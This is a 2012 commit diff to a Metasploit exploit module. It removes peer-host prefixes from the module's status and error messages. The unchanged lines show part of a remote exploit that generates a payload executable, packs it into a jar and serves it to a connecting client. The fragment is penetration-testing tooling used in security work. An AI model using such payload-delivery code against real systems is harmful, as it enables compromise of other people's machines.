Remove spurious cli.peerhost in output

This commit is contained in:
James Lee
2012-04-20 13:31:42 -06:00
parent 1f577b24b2
commit 9cdd8912c5
164 changed files with 293 additions and 295 deletions
@@ -101,7 +101,6 @@ class Metasploit3 < Msf::Exploit::Remote
data = ""
host = ""
port = ""
peer = "#{cli.peerhost}:#{cli.peerport}"
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
@@ -109,11 +108,11 @@ class Metasploit3 < Msf::Exploit::Remote
return
end
print_status("#{peer} - Sending #{self.name}")
print_status("Sending #{self.name}")
payload = regenerate_payload( cli )
if not payload
print_error("#{peer} - Failed to generate the payload." )
print_error("Failed to generate the payload." )
return
end
@@ -132,7 +131,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status( "Generated jar to drop (#{jar.length} bytes)." )
jar = Rex::Text.to_hex( jar, prefix="" )
else
print_error("#{peer} - Failed to generate the executable." )
print_error("Failed to generate the executable." )
return
end
else
@@ -141,10 +140,10 @@ class Metasploit3 < Msf::Exploit::Remote
data = generate_payload_exe
if data
print_status("#{peer} - Generated executable to drop (#{data.length} bytes)." )
print_status("Generated executable to drop (#{data.length} bytes)." )
data = Rex::Text.to_hex( data, prefix="" )
else
print_error("#{peer} - Failed to generate the executable." )
print_error("Failed to generate the executable." )
return
end
@@ -154,7 +153,7 @@ class Metasploit3 < Msf::Exploit::Remote
return
end
print_status( "#{peer} - sending jar..." )
print_status("Sending jar")
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
handler( cli )